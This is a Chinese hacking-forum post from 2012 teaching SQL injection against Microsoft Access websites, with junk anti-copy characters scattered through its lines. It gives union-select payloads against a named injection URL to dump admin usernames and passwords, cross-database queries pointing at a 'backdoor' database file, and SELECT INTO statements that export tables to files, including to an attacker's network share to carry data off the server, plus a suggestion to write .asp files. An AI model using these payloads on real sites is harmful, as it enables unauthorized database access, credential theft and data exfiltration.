找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2061|回复: 0
打印 上一主题 下一主题

Access高级注入语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:20:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
--------------------------------------------------------------
4 e7 N$ X0 A( j; W: n" Q, `1 ?union查询法, F. e; y. x2 V
首先要说的就是查询办法,一般的查询办法就是
- k' @5 h8 Q2 f4 {% d
6 }, G, |* `- `1 J程序代码
; h4 a' {- C2 b% z% O8 v0 kand 1=(select count(*) from admin where left(id,1)='1')5 `3 ~3 M# M/ J' v) L+ o, L8 N% X

! \" m: D) _& M" ]: Y7 O这样开始判断了...就算你使用各种各样的工具,也是一个个字的去猜去判断对不对,不对再换一个.这样的坏处显而易见,慢. 特别是在猜测经过32位MD5加密过的段的时候...基本上你可以去泡壶茶再喝一杯.
. h7 g: v* D. Z+ j6 J所以这个时候,union select横空出现.别以为只能在PHP里用哦...
0 t6 u9 d2 f6 i! w9 d譬如你有一个ACCESS点:
) Z* @, v: Z$ u9 p. {程序代码9 ~3 K+ |1 N' M/ j0 T- r
http://bbs.tian6.com/xiaoyang.asp?coder=1( m" e- c6 m# G7 C: q) _/ E; l

  j. v0 ^" X, Q) P" B, n8 c知道存在admin表(你当然可以拿个工具先快速猜出表和字段来),
) E8 U9 ]% E  H7 z3 u8 m然后我们直接来:- N) G1 ~7 s; U7 H/ T7 X; |* F1 |
程序代码" o  i1 J$ [; m
http://bbs.tian6.com/xiaoyang.asp?coder=1 union select 1,2,3,4,5,6..... from admin [where coderx=1(如果有限制查询条件)]; M( `# E9 V9 f) g
" g, P) W" |4 v1 R8 A2 ]/ j" ]5 a) N5 `
这里从1开始加到回显正常为止.然后替换URL里相应在页面出现的1~X为password,username之类的东西,就可以直接暴内容了.多方便,多快捷.茶可以先放放,凉一些再来喝了.# A! _& `( v" m4 {
7 e& k2 m0 \% N! \2 b# w
+ T2 d9 z& f# F  d& o& b) G
9 Z1 ]! E/ L$ @; ]' C
---------------------------------------------------------------$ ~$ F+ E  S) X# g! u
Access跨库查询
$ U0 k+ y( a1 y( w4 E有时候某个网站服务器上有两个以上系统,你发现其中一个有ACCESS注入点,但是后台没法提权,另外一个系统没有注入点,但是后台却有你需要的功能.那么这个时候,跨库来了.当然,你还可以用来MDB溢出,渗透的过程等等.他的作用往往是意想不到的.
0 _; G0 o+ N* v9 ?* m跨库的查询语句:. ^1 B4 _0 u, ?3 K6 ]( N+ [
子查询:4 }, F/ C( |( H* c! Q/ U- u# I" Q
程序代码# r8 ^, |% {* |" p: u+ Q4 f5 K& p  @
and (Select Count(*) from [D:\tianyang\backdoor\xiaoyang.mdb].test)>0" ~8 s; h8 U3 D$ b
# o: e2 l  t; f9 O1 e: ]
union查询:
! ]# o' }' a, y( B1 Q8 t# H  M程序代码$ K3 v4 E8 w* f
union select 1,2,3,4.... from admin in "D:\xioatianyang\okok.asa" where id=1
, U; w" H8 F. Y
% k# z- ?! a0 Z6 {' E跨库的作用当然不只这些了,大伙继续发挥吧..这里提供两篇参考过的文章连接:
  L- T& ?3 Y, O* D% F' d. ~3 M程序代码
% q. w3 |0 ^; I& L, b$ uhttp://www.4ngel.net/article/46.htm
4 s) _2 M' e4 s+ Y  q( Hhttp://hf110.com/Article/hack/rqsl/200502/66.html
- G1 J, L  ^$ ^" B) {
- Y" {2 k  Z( t  B---------------------------------------------------------------' e0 I( E6 \* k! K
Access注入,导出txt,htm,html
- j) g5 c4 ]; R! F5 G' z子查询语句:
, Z7 g* p4 \: O1 T4 E' F程序代码
4 H4 n5 h; \4 Z0 p  d- i4 uSelect * into [test.txt] in 'd:\web\' 'text;' from admin: W" J; ~4 J8 D6 P9 I

* s# i* o, M) k  v9 o这样就把admin表的内容以test类型存进了d:\web里面.
  c3 u, S/ \( f1 [2 g! Q+ G, iUNION查询:
) @# V7 b. j* T# x! b, M程序代码: b# U, ]8 `+ d4 W+ k% Y
union select * into [admin.txt] in 'c:\' 'test;' from admin
. I3 r! o9 \! C( B/ A: l
; s0 W3 x; p# }+ K1 r- J( X而且这里也可以保存到本地来:
/ M7 b/ g) S! j, F程序代码
  u" g( H2 P- g! ESelect * into [test.txt] in '\\yourip\share' 'text;' from admin- m* e- w. O; T# r# w

. E9 Z. @- G0 j! S# k不过,很多人包括我自己测试,本机数据库来操作是没问题的,但是一旦在注入点上,子查询会回显没有权限,union会回显动作查询不能作为行的来源.可以说还是个难题...原因大概是UNION只适用查询结合,UNION后面不能跟动作.和这个内容相关的,本论坛已有一帖:0 G; |& ~* Q& T

! R/ r. ~: X1 L5 ]) j# J! [! `程序代码# j) [% }% I$ H9 x8 W! m( e* t
http://bbs.tian6.com/viewthread.php?tid=3016&extra=page%3D7
9 }4 n+ X7 k; s9 T! M  E
, o9 P8 R8 _8 t' c' R& p) F因为网上有许多和这相关的资料,所以我还是把他引进来了.如果一旦这方法运用成功的话,理论上我们只要知道表名,不需要知道段名,就可以看到该表所有内容了.或者我们可以建.php.tianyang  asp.asp之类的文件或者目录来导进文件~还是会很强大的.( D, ?1 K# [7 t/ B8 B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表